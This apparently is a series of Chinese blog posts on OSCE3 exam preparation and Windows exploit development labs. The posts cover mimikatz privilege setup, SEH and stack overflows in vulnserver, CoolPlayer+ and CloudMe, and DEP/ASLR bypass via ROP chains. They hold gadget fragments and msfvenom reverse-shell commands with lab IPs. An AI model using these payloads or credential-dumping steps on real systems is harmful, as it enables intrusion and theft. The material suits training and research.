花了一些时间,拿到了Offensive Security的4个证书。





下面是我关于4个证书的备考总结,分享给大家:
https://n0maj1o24.notion.site/OSCE3-8cba8825129441aba5d0b7a78961f5bf
花了一些时间,拿到了Offensive Security的4个证书。





下面是我关于4个证书的备考总结,分享给大家:
https://n0maj1o24.notion.site/OSCE3-8cba8825129441aba5d0b7a78961f5bf
完成HTB Pro Offshore实验。
证书:

详情查看:
https://n0maj1o24.notion.site/HTB-Pro-Offshore-Review-52158272e2b048e8b8a998a6a7723966
最近,在渗透测试抓取密码的时候,出现如下问题:

一般出现这个问题是因为当前cmd权限不够,这里的cmd已经是管理员权限,所以有点奇怪,现在来进行排查,查看当前用户的信息:



虽然当前用户在管理员组,但是SeDebugPrivilege权限竟然没有设置,这个比较奇怪。原因出在这里,没有Enable SeDebugPrivilege。
现在来开启SeDebugPrivilege。

注意,给当前用户加入SeDebugPrivilege权限之后,需要重启机器,然后再进行操作。上图后续几步操作其实在重启之前是无效的。
重启之后,查看用户权限:

继续来一遍之前的操作:

可以发现,现在SeDebugPrivilege已经变为Enabled了。
再次运行mimikatz,发现可以抓取密码了。

SetSeDebugPrivilege.ps1源码如下:
1 | function Main |
参考:
1.https://blog.csdn.net/singleyellow/article/details/93394557
2.https://www.powershellgallery.com/packages/PoshPrivilege/0.1.1.0/Content/Scripts%5CAdd-Privilege.ps1
3.https://github.com/cloudbase/unattended-setup-scripts/blob/master/ServiceUserManagement.ps1
4.https://gist.github.com/nijave/9174d5af9378a0c4ef1498795f1ead0d
5.https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e
6.https://gist.github.com/altrive/9151365
7.https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1
这次,用WriteProcessMemory来Bypass DEP,看一下WriteProcessMemory的函数原型:
1 | BOOL WriteProcessMemory( |
hProcess:要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 访问权限。
lpBaseAddress:指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。
lpBuffer:指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。
nSize:要写入指定进程的字节数。
lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWritten 为NULL,则忽略该参数。
根据函数各参数的说明,在Bypass DEP的时候,各参数的设置情况:
hProcess:提供一个伪句柄,指定为特定的常量-1,当WriteProcessMemory API被调用的时候,它会将-1转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。
lpBaseAddress:这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null字符。
在windbg中看一眼:
这里可以使用的是essfunc.dll。

依据PE相关知识,获取代码段地址的步骤:
DOS Header + 0x3c指向PE Header:

PE Header + 0x2c指向代码段:

来获取essfunc.dll的代码段地址:

获取的代码段地址为62501000,看一下对应的内存属性:

定位到代码段某一地址(这里62501c00 ,后续考虑地址不包含00字符,选择62501c10作为lpBaseAddress的值):

lpBuffer:保存shellcode所在地址,这个地址需要到执行栈溢出之后,才能确定。
nSize:shellcode的大小。几乎所以metasploit产生的shellcode大小都是小于500bytes,所以我们可以指定任意值,这里用-524(0xfffffdf4)代替,然后取反即可。换做ROP Gadget就是先把0xfffffdf4存入某个寄存器,如EAX,然后NEG EAX即可。
lpNumberOfBytesWritten:指向一个可写的DWORD空间,用于保存WriteProcessMemory复制的byte数目。比较简单的方法是将其保存到essfunc.dll的数据段里面,来看一下:
1 | 0:001> !dh -a essfunc |

确认数据段里面的空间没有被使用:

段需要对齐,可以查看section alignment的对齐为1000:

前面2000+24的值不为1000的整数倍,所以后续会补00,直到它为1000的整数倍为止。我们在取值的时候+4正好可以落在为了补齐增加的00空间里,不需要刻意到前面去查找。

接下来,就是在essfunc.dll的IAT中找是否存在WriteProcessMemory,利用!dh essfunc.dll -f查看IAT地址和偏移时发现都是空,有点诡异。

在windbg用命令dps essfunc L2000查看,找到一些信息:

借用之前文章《Sync Breeze 10.0.28 bypass DEP》的方法获取WriteProcessMemory的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:

根据以上信息,WriteProcessMemory函数的部分参数是可以提前确定的:
1 | func = struct.pack("<L",0x45454545) # WriteProcessMemory Address |
现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。
这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。
1 | rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN |
完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets源于开启ASLR的DLL,ESSFUNC.DLL中不具备完全的ROP Chain生成要素)
1 | #!/usr/bin/env python3 |
执行,出现问题了:

因为msfvenom解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets。
自定义shellcode:这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter生成存在00字符时,改变指令的方法。这里利用外国友人的脚本,来生成shellcode:

注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。

将利用脚本里面的shellcode部分替换成这里生成的shellcode,再次执行,喜闻乐见的反弹shell出现了:

编码和解码shellcode:这种方法稍微复杂点,需要增加一些解码的ROP Gadget,在构建ROP Chain的时候,随着解码坏字符的ROP Gadget的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:
1 | def mapBadChars(sh): |
这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01。我这里是从shellcode的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100,这里ROP Gadget使用DL,为了保证其他为不会出现00,所以使用了0x11111111,另外不局限于DL,AL,AH,BL,BH等等都可以,关键在于能够找到符合要求的ROP Gadget。
考虑到ROP Gadgets会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets:
1 | # Patching dummy lpBuffer |
这里使用0x88888888+0x77777988=0000000100000210(高8位截断,所以为0x210),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets进行处理,加上处理WriteProcessMemory三个参数的ROP Gadgets,再加上对齐shellcode的ROP Gadgets和改变ESP到执行流的ROP Gadgets。

可以看到已经指向了\x90区域。
后续需要注意的就是,解码之前需要让ESP正好指向shellcode开始的部分,我这里的ROP Gadgets如下:
1 | # Align EAX with shellcode |


还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom仅需生成原始shellcode即可。如本地使用如下:
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode |
以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:
1 | #!/usr/bin/env python3 |
喜闻乐见的反弹shell如下:

单坏字符,用于解码的ROP Gadgets一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets会很长,最终可能因为栈空间不够,导致shellcode受到挤压,后续被截断,最终导致利用失败。
尝试7个坏字符时,最后因为栈空间不够导致shellcode被截断了。最终,试了3个坏字符的情况,还算正常。利用脚本如下:
1 | #!/usr/bin/env python3 |
喜闻乐见的反弹shell如下:

本次讨论的Audio Converter 8.1在Win7 SP1 6.1.7601和Win10 10.0.19044两者之间有一些不同,在Win7下漏洞能够利用成功,在Win10下会出现SEH Handler无法捕捉到异常,导致漏洞执行失败。
先来看Win7下的漏洞利用:之前遇到的SEH栈溢出漏洞,覆盖的都是SEH链的第一个NSEH和SEH Handler,而这里覆盖的是第二个NSEH和SEH Handler。简单的部分就不说了,Win7下Offset为4432(覆盖NSEH的值),坏字符为\x00\x0a。
看一下溢出的时候,其实是SEH链第二个节点被覆盖:

但是,这不影响漏洞利用的方式,还是P/P/R结合JMP,如果当前异常处理函数无法处理异常,则会转到下一个异常处理函数处理,所以覆盖的异常处理函数是可以得到执行的,进而执行写入的shellcode。考虑要bypass ASLR,所以需要找到未开启ASLR的DLL:

win7下没有开启全局DEP时,就是简单的SEH 栈溢出,最终的利用代码如下:
1 | #!/usr/bin/python3 |
成功反弹shell:

现在开启全局DEP,来看一下,基本的步骤就不说了,截图几张:
利用mona,在每个SEH Handler下断点,这个方法还挺方便的:

查找ROP Chain在内存的位置:

执行到触发SEH之后,查看此刻ESP,得到ROP Chain与ROP之间的距离:

利用mona寻找跳转大于等于2412的ROP Gadget:

在生成的stackpivot.txt文件中挑选符合要求的ROP Gadget:

这里选择0x100646bb作为覆盖seh的地址。注意跳转了3652个字节,需要在ROP Chain前面填充一些\x90,不然会跳转到ROP Chain内部,导致无法执行。经过多次尝试,需要添加1348个\x90才能精确到达ROP Chain的最开始部分。
最终的利用代码如下:
1 | #!/usr/bin/python3 |
成功反弹shell:

来看一下win10,不开启DEP。溢出时,可以看到SEH链的第二条被我们覆盖了:

在异常处理的时候,出现如下问题:(会一直停留在第一个异常处理函数里面,无法跳出)

谷歌了一下,说是异常没有捕获到。这里就不进一步讨论了。
2022年5月14日更新:Win10利用失败的原因是,我想找一个SafeSEH关闭,且未开启ASLR的DLL,这样就可以保证利用脚本是稳定的,不会因为系统重启而无法使用。这里有且仅有audconv.dll,可以看上面我使用的地址,是以00开始,这样就导致内存里指令会被截断,而开始部分的Win7,audconv.dll地址空间不是以00开始,所以可以利用成功。
测试环境:Windows 10 21H2 32位,关闭全局DEP。最开始是想开启全局DEP,然后尝试Egghunter+Bypass DEP+Bypass ASLR,后来发现不可行,就把全局DEP关掉了。
exploit-db上的链接:https://www.exploit-db.com/exploits/40151。
基本操作没有太多有意思的点,就不阐述了。我选择的2000字节,Offset确定为212,坏字符为\x00\x0a\x0d。
mona看一下未开启ASLR的模块:

只有coolplayer+.exe本身,并且地址区间在0x00400000到0x00485000间。好了,问题来了,地址包含00,会截断后续的字符,我们如果需要Bypass ASLR的话,又只能使用这里的某个地址。为了更加直观的获取寄存器与我们输入的字符串之间的关系,检查查找坏字符时内存的情况:

也就是说,EBX所指向的内存保存着我们的输入字符,按照一般的栈溢出,只需把EIP的值覆盖为一条类似JMP EBX即可。

直接贴上最终的利用代码来分析:
1 | import sys |
这里选择0x00401897用于覆盖EIP。

发现EIP之后的值都变了,我这里在EIP之后是放的\x90。来看看此刻EBX所指向的内存的值:

发现EBX所指向的内容就是我们输入的内容,并且没有截断。最开始想把shellcode放在导致溢出的A字符串所在的位置,这里的空间太少,不能直接放,只能考虑放egghunter代码。
成功反弹shell:(因为涉及到内存的搜索,反弹shell需要等待一些时间)

测试环境:Windows 10 21H2 32位,开启全局DEP。这里来看如何绕过DEP和ASLR。附带演示一下基于SEH栈溢出DEP bypass与普通SEH栈溢出利用代码结构的不同。
普通栈溢出利用:
这个程序可以用普通的栈溢出DEP bypass来完成利用。此时Offset为1052。太简单了,就不过多解释了。
查找未开启ASLR的DLL,并查找RETN:
1 | 0:014> .load pykd.pyd |

1 | 0:014> !py mona find -type instr -s "retn" -p 10 -o -m Qt5Core.dll |

来看一下最终的利用代码:
1 | import sys |
利用mona自动生成的ROP Chain,所使用的Qt5Core.dll没有开启ASLR,所以这里采用的选择未开启ASLR的DLL来bypass ASLR。
成功反弹shell:

SEH栈溢出利用:
触发SEH栈溢出Offset为2348,注意这里是指覆盖Next SEH而不是SEH Handler。按照普通SEH栈溢出漏洞利用,P/P/R配合JMP,来一下出现的问题:
P/P/R处下断点,异常发生之后,进入P/P/R:

想要执行JMP指令,因为DEP的存在,执行失败:

结合前一篇文章介绍,这里需要一条能够跳转到ROP Chain的指令覆盖SEH Handler,上一篇文章介绍的比较详细,这里给出最后的利用脚本:
1 | import sys |
成功反弹shell:

参考:
1.https://xen0vas.github.io/cloudme-v1-11-2-dep-bypass-using-rop-gadgets/#
测试环境:Windows 10 21H2 32位,开启全局DEP。这里来看如何绕过DEP和ASLR。
没得说,肯定是先看需要多少字节能够Crash程序。简单的步骤就不说了,讲一下我遇到的一些小坑。
参考exploit-db:https://www.exploit-db.com/exploits/14191。这里选择字节长度为`50000`。
1 | #!/usr/bin/python3 |
程序Crash的时候,发现把SEH链给覆盖了:

所以,这里应该是基于SEH的栈溢出,需要绕过DEP和ASLR。
在寻找Offset的时候,遇到一个小坑。这里可以用msf-pattern_create -l 50000生成,或者windbg加载mona之后,使用!py mona pc 50000生成,生成没有问题,主要是在确定具体的Offset的时候,出现了一点小问题。
注意看windbg中,通过mona查找到的具体Offset:

看一下msf-pattern_offset中查找到的具体Offset:

最后的正确Offset为43474。个人感觉是因为pattern太长了,里面的字符串出现了重复,而windbg中mona没有搜索完,只搜索到第一个就停止了,所以,后续查找Offset的时候,最好两边一起验证下,如果有多个值符合条件,每个值最好也试一下。

Offset偏移是正确的,注意标红的框,这里有个小细节,42424242之后被覆盖了ffffffff,这个ffffffff应该是SEH链的尾部。后续在查找坏字符的时候,会发现04030201没找到,原因是因为被ffffffff覆盖了。基于这一点,后续在写利用代码的时候,可以在Offset之后先跟一段\x90,然后再接shellcode,以防shellcode被覆盖导致不能执行。
注意,在查找坏字符的时候,需要定位坏字符串的位置,这里可以利用windbg中的搜索功能,需要先用!teb获取当前内存的空间大小及地址,然后再查找:
1 | 0:000> !teb |
搜索的命令为:
1 | s -a 000e0000 00150000 BBBB |

显然,第一个坏字符为09,后续发现0a也是坏字符:

最终坏字符为\x00\x09\x0a。
讲一点小知识:对于开启DEP且基于SEH的栈溢出,不能使用之前讨论的未开启DEP的SEH栈溢出利用方法。因为开启DEP之后,栈空间是不可执行的,而之前SEH利用方式中组合P/P/R和JMP的方式,在P/P/R执行完之后,后续跳转到JMP指令上,因为该指令在栈上面导致无法执行。正确的方法是直接用能跳转到ROP Chain上的指令覆盖SEH Handler。
考虑到Bypass ASLR,在构建ROP Chain的时候,如果程序运行时没能泄漏出某个函数的地址,则需要选择没有开启ASLR的DLL,不然可以先计算出基址,然后ROP Gadget都选择相对地址构建ROP Chain即可。这里选择没开启ASLR的DLL:

在用mona自动生成ROP Chain的时候,发现生成不成功,如下所示:
1 | *** [ Python ] *** |
注意看,里面说没有找到设置EDX的ROP Gadgets。这里在构造设置EDX的ROP Gadgets的时候,因为牵涉到EBX,需要将设置EBX值的ROP Gadgets放到设置EDX的ROP Gadgets后面去。来看看我构造的设置EDX的ROP Gadget:
1 | #[---INFO:gadgets_to_set_edx:---] |
因为RETN 0x10指令的存在,这里需要把设置ECX的其中一条ROP Gadget放到设置EDX的ROP Gadgets中间。
修改之后的ROP Gadgets如下:
1 | def create_rop_chain(): |
小知识点:RETN操作:先EIP=ESP,然后ESP=ESP+4;RETN N操作:先EIP=ESP,然后ESP=ESP+4+N。
ROP Gadgets构造完成之后,现在就是如何让SEH Handler执行的时候,能够跳转到ROP Gadgets的第一条指令,这里一定要跳转到ROP Gadgets的第一条指令,前面不能加\x90进行填充,这里和shellcode之前的\x90填充不一样,这里因为有RETN指令,如果用\x90填充,会把\x90\x90\x90\x90设置为EIP的值,而这会指向一个无效的地址。shellcode之前的\x90填充,因为使用的JMP ESP指令,就算跳转到\x90所在区域,并不会把\x90\x90\x90\x90设置为EIP的值,EIP的值指向\x90\x90\x90\x90,只会不断的跳过这些\x90空指令,直到遇到shellcode第一条指令。
暂时设置SEH Handler的值为\xcc\xcc\xcc\xcc,然后重新运行,当溢出发生的时候,来看一下此刻ROP Chain和ESP之间的距离:
1 | (1c78.1948): Access violation - code c0000005 (first chance) |
可以看到两者之间的距离在18aach,现在需要找到能够跳转大于等于18aach的ROP Gadget来替换SEH Handler中的值。使用如下命令:
1 | !py mona stackpivot -n -m MSA2Mfilter03.dll -distance 101036 -cpb '\x00\x09\x0a' |

最终的结果会保存到stackpivot.txt文件里面。来看一下文件里面的部分内容:

这里选择的0x1001f35f地址所在的ROP Gadget。但是这里跳转了19000h,会跳到ROP Chain里面去,我们需要在ROP Chain前面增加一些\x90,让ESP正好能够指向ROP Chain的第一条指令。具体的值需要不断的调试才能确定,主要是因为添加的\x90也会占用空间,会让ESP与ROP Chain之间的距离变长。最终得到的\x90长度为57424。这里我还考虑了一下,这个值会不会让最终的PAYLOAD指到栈空间以外的地方。验证了一下:

空间足够大,没问题。
最终的利用代码如下:
1 | #!/usr/bin/python3 |
成功反弹shell:

之前写过两篇TRUN bypas DEP的文章,最终都选择了Win7作为实验的操作系统。这里,选择Win10 21H2 x32作为实验的操作系统。
最简单的办法,直接mona自动生成ROP Gadgets。但是,有一个问题,mona会去选择开启ASLR的DLL中的ROP Gadget,也就意味着系统重启之后,ROP Gadgets就会变得不可用。
windbg中mona插件生成的ROP Gadgets,和之前在immunity debugger中使用mona产生的ROP Gadgets略有不同,并且产生速度也比较慢,因为我的windbg安装的位置,如果启动windbg不用管理员,后续mona生成的几个txt文件都没法保存。单纯在essfunc.dll中是找不到符合要求的ROP Gadgets,需要使用如下命令:
1 | !mona rop -m *.dll -n |
retn指令的地址,查找方式:
1 | !mona find -type instr -s "retn" -p 10 -o |
看一下mona自动生成的POP Gadgets:
1 | def create_rop_chain(): |
最终的利用脚本如下:
1 | #!/usr/bin/env python3 |
反弹shell成功:

自动化产生ROP的方式,还是太过简单,来看看手动构造。基础知识就不提了,前面几篇DEP相关的文章都写了。
首先,在IDA中查找导入表,看能否找到VirtualProtect或者VirtualAlloc的地址。这里我选择从essfunc.dll中查看,因为从vulnserver.exe中查看,发现找到的地址包含00,不便于后续处理,还有注意最后的DLL是需要程序运行时加载的:

可以看到VirutalProtect的导入表地址为6250609C。
注意VirtualProtect的函数结构:
1 | BOOL VirtualProtect( |
在编写利用脚本时,VirtualProtect函数需要写成如下所示:
1 | func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address |
可以看见,目前这里都是随机填写的,后续需要通过ROP Gadget去修改为正确的值。有一点需要注意,最后的lpflOldProtect参数,可以选择一个可读可写的内存地址,后续ROP Gadget也不需要进行修改。这里我选择essfunc.dll中的未使用空间,并且地址不包含00。
查看essfunc.dll的地址:

查看对应地址的属性:(!vprot或者!address都可)

查看选择的地址0x62502610:

接下来开始组织ROP Gadgets,首先需要保存ESP的值,最好是保存到两个寄存器中:
1 | # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ} |
寻找合适的ROP Gadget是一个非常繁琐的过程,上面所示就是本例中适合保存ESP的POP Gadget,并且方便后续的操作。
接下来看,如何把IAT中VirtualProtect的地址存放到之前45454545占位符所在的位置,下面是对应的ROP Gadgets:
1 | eip = struct.pack("<L",0x62501022) # retn essfunc.dll |
注意上面这段POP Gadgets的关键点是需要找到45454545占位符的位置,这需要在windbg中不断调试。
接下来是shellcode的地址覆盖到占位符46464646和47474747的位置。这里有点意思:因为目前你不知道shellcode的具体位置,还有一个点就是ROP Gadget是占空间的,随着ROP Gadget越来越多,前期找到的shellcode地址可能就偏移了,就会导致执行的地址在shellcode中间,导致shellcode无法执行。有一个办法就是在shellcode之前加一段较大范围的\x90,这样来回小范围移动,并不会影响最终shellcode的执行。看一下这段ROP Gadgets:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来覆盖46464646占位符所在地址的内容。按照我们之前编写的VirtualProtect函数模版,每个参数之间的地址差都是4bytes,所以这里只需要对上一步中EAX加4,就能执行46464646占位符的地址,然后修改其中的值即可。ROP Gadgets如下:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来,有一些小技巧:

为了保存0x01,可以使用如下ROP Gadget:
1 | # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
其中,-1按照之前的技巧,等于ffffffff,然后用NEG指令即可得到1。
这段的ROP Gadgets如下所示:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来继续看如何保存0x40,继续使用之前介绍的小技巧:

直接看这段的ROP Gadgets:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
因为EAX和EDX都被使用到,注意EDX在使用之前,需要将其中保存的ESP原始值保存到其他寄存器中,这里找到符合要求的EBX,注意# MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}这条ROP Gadget。
接下来,就是执行VirutalProtect函数,这里需要ESP指向VirualProtect在栈空间里面的位置,最终的ROP Gadgets如下:
1 | rop1 += struct.pack("<L",0x76535eb8) # MOV EAX,EBX # POP EBX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ} |
以上就是关键步骤的ROP Gadgets。最终的利用代码如下:
1 | #!/usr/bin/env python3 |
成功反弹shell:

上面使用的是VirtualProtect绕过DEP,如果是VirtualAlloc的话,最终略有不同。因为essfunc.dll的导入表里面没有VirutalAlloc,这里仅做一些解释。看一下VirtualAlloc函数的原型:
1 | LPVOID VirtualAlloc( |
利用脚本里面,VirtualAlloc的模版如下:
1 | LPVOID VirtualAlloc( |
1 | func = pack("<L", (0x45454545)) # dummy VirutalAlloc Address |
在windbg中看一下vulnserver加载的DLL有哪些:

在RPCRT4.DLL的导入表中,可以找到VirtualAlloc函数:

可以看到VirtualAlloc函数在导入表的地址为4F0340D0。需要注意的地方:api-ms-win-core-memory-l1-1-0.DLL库在程序运行的时候并没有加载,如果使用这个值,会出现类似如下这样的问题:

我的理解:查找VirtualAlloc或者VirutalProtect函数在IAT中的地址时,需要注意关联的DLL,如果该DLL在程序运行时加载了,那可以使用通过IAT中函数地址找到该函数,如果DLL在程序运行时没有加载,那么通过IAT中函数地址无法找到该函数运行时地址。
参考:
1.https://www.nirsoft.net/articles/windows_7_kernel_architecture_changes.html
本次实验讨论在Win10 21h2 x86系统下关闭DEP。继续分析Vulnserver HTER,先来看一下逆向的代码,挑重点的看:

这里的_strtoul函数,将字符串转换为无符号长整数值。具体可以参考:https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strtoul-strtoul-l-wcstoul-wcstoul-l?view=msvc-170.本程序是将`16`进制转换为无符号长整数值。意味着我们需要传入`hex`格式的字符串,也就是`0-9,A-F,a-f`都可以。这对后续坏字符查找和最后的`shellcode`编写都很重要。
来看看新的fuzz代码:
1 | #!/usr/bin/env python3 |
这里用到了boofuzz,据说很好用。但是fuzz有个问题,就算程序崩溃了,想要一眼找到具体需要发送的字符长度很难,还是需要测试。
这里从boofuzz找到,5000个A的时候是可以崩溃的。后来又测试了3000个A,发现也会崩溃。
继续来查找offset,这里不能用msf-pattern-create生产的字符串来进行测试寻址,因为只能为0-9,a-f,A-F,所以这里需要自己构造,使用的方法有点像算法里面的二分查找。
先看下构造的程序:
1 | #!/usr/bin/env python3 |
可以看到EIP被cccccccc覆盖:

后续应该继续在c字符串所在位置进行细分,比较繁琐,最后确定offset为2041。
最终的确定offset程序如下:
1 | #!/usr/bin/env python3 |

查找badchar的代码如下:
1 | #!/usr/bin/env python3 |
注意看,坏字符串都转换为hex格式了。来看一下windbg中的情况:


可以发现测试的坏字符串能都保存在内存中,也就是说00为唯一的坏字符。
获取jmp esp的地址:

这里,选择0x625011af用于覆盖EIP。
生成hex格式的shellcode:
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f hex -b '\x00' |

最终的利用代码如下所示:
1 | #!/usr/bin/env python3 |
成功反弹的shell:

参考:
1.https://captmeelo.com/exploitdev/2018/07/01/vulnserver-hter.html